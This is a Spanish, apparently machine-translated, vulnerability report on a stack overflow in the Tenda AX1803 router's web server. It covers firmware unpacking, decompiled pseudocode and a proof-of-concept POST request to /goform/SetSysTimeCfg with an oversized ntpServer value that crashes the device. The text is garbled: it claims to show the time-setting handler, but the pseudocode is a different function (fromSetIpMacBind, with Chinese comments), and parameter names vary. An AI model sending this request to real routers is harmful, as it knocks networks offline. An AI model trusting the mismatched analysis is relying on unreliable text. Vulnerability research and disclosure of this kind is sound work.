
La vulnerabilidad se encuentra en el sistema de archivos rootfs_ubifs, en /bin/tdhttpd, en /goform/SetSysTimeCfg. Los atacantes pueden acceder a http://ip/goform/SetSysTimeCfg y, al establecer el parámetro ntpserve, se puede provocar un desbordamiento de búfer en la pila (stack buffer overflow) para lograr el efecto de denegación de servicio del router.
Primero, desempaquetar el firmware:
Descargue el firmware desde el sitio web oficial del fabricante (https://www.tenda.com.cn/download/detail-3225.html). Dado que el firmware no está cifrado, el firmware Tenda ax1803 v1.0.0.1_2890 se desempaqueta directamente con la herramienta binwalk (comando: binwalk - me *. Bin) para obtener el sistema de archivos rootfs_ubifs.
Análisis de la vulnerabilidad:
(Nota: la siguiente captura de código es el pseudocódigo en C obtenido al desensamblar y descompilar el archivo / bin / tdhttpd de rootfs_ubifs mediante ida7.6_pro_32-bit)
Al acceder a / goform / setsystimecfg, el usuario entra en la función fromsetsystime para su procesamiento. A continuación se muestran algunas capturas de pseudocódigo y comentarios de la función fromsetsystime:



Cuando los usuarios acceden a http://ip/goform/SetSysTimeCfg, / bin / tdhttpd de rootfs_ubifs llamará a fromsetsystime para manejar este acceso, y asignará el parámetro ntpserver enviado por el método POST al puntero V4, para luego entrar en una rama if inevitable (el análisis ya está escrito en los comentarios de la captura de pseudocódigo). Hay un código vulnerable en esta rama if: strcpy(&V32[16], B4). Por lo tanto, se puede sobrescribir la dirección de retorno de la función con una dirección no válida estableciendo el parámetro ntpserver enviado por V4, es decir, mediante POST para desbordar el límite de V32, reiniciar así el router y causar el efecto de denegación de servicio.
Pseudocódigo de la función fromsetsystime adjunto:
int __fastcall fromSetIpMacBind(int a1)
{
const char *Parameter; // r5
unsigned int v2; // r0
int i; // r4
char *v4; // r0
char *v5; // r11
int v6; // r3
int v7; // r5
int v8; // r2
int v10; // [sp+8h] [bp-440h]
char *nptr; // [sp+10h] [bp-438h]
int v13; // [sp+14h] [bp-434h]
char v14[32]; // [sp+28h] [bp-420h] BYREF
char v15[32]; // [sp+48h] [bp-400h] BYREF
char v16[64]; // [sp+68h] [bp-3E0h] BYREF
char v17[64]; // [sp+A8h] [bp-3A0h] BYREF
char dest[64]; // [sp+E8h] [bp-360h] BYREF
char v19[128]; // [sp+128h] [bp-320h] BYREF
char v20[128]; // [sp+1A8h] [bp-2A0h] BYREF 可以通过设置list参数通过strcpy函数溢出的
栈上变量
char s[256]; // [sp+228h] [bp-220h] BYREF
char v22[288]; // [sp+328h] [bp-120h] BYREF
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = GetParameter(a1, "bindnum", "0");
Parameter = GetParameter(a1, "list", &byte_1E9CC8);// 将访问
ip/goform/SetIpMacBind时post提交的list参数
// 赋值给Parameter变量
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
printf("staic ip number over %d\n", 32);
goto LABEL_30;
}
for ( i = 1; ; ++i )
{
v6 = Parameter;
if ( Parameter )
v6 = 1;
if ( i > v10 )
v6 = 0;
if ( !v6 )
break;
memset(v20, 0, sizeof(v20));
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(dest, 0, sizeof(dest));
v4 = strchr(Parameter, '\n'); // 如果parameter也就是post提交的
list参数中存在换行符,则v4不为零,否则v4为零。
v5 = v4;
if ( v4 ) // v4不为零,也就是提交的list参数中存
在换行符
{
*v4 = 0;
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
Parameter = v5 + 1;
}
else // v4为零,也就是提交的list参数中无换
行符
{
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
}
if ( v20[0] == 13 )
{
if ( _isoc99_sscanf(&v20[1], "%17[0-9a-fA-F:]\r%s", v14) != 2 )
goto LABEL_20;
strcpy(dest, &byte_1E9CC8);
}
else if ( _isoc99_sscanf(v20, "%[^\r]\r%[0-9a-fA-F:]\r%s", dest) != 3 )
{
LABEL_20:
v2 = puts("get ip and mac error!");
v6 = 1;
break;
}
printf("%s %d# dev_name=%s,mac_addr=%s,ip_addr=%s\n", "set_mac_bind_list",
543, dest, v14, v15);
sprintf(v17, "dhcps.Staticip%d", i);
sprintf(v22, "%s;%s;0", v15, v14);
v2 = SetValue(v17, v22);
if ( dest[0] )
{
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
v2 = sub_62C98(dest, v14);
}
}
v7 = v10 + 1;
if ( i == v10 + 1 )
{
if ( !v6 )
{
puts("set static num sucess!");
v2 = SetValue("dhcps.Staticnum", nptr);
while ( v7 <= v13 )
{
memset(v19, 0, sizeof(v19));
sprintf(v16, "dhcps.Staticip%d", v7);
GetValue(v16, v19);
sprintf(v16, "dhcps.Staticip%d", v7++);
v2 = SetValue(v16, &byte_1E9CC8);
}
goto LABEL_27;
}
LABEL_30:
v8 = 1;
goto LABEL_31;
}
if ( v6 )
goto LABEL_30;
LABEL_27:
if ( sub_8CB38(v2) )
{
memset(v22, 0, 0x100u);
strcpy(v22, "op=200");
send_msg_to_netctrl(19, v22);
}
v8 = 0;
LABEL_31:
sprintf(s, "{\"errCode\":%d}", v8);
return sub_55970(a1, s);
}
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ntpServer=a*num
(Nota: num debe ser mayor que 0x134h bytes, es decir, si el número de caracteres a enviar es mayor que 0x134h, se puede causar un ataque DoS).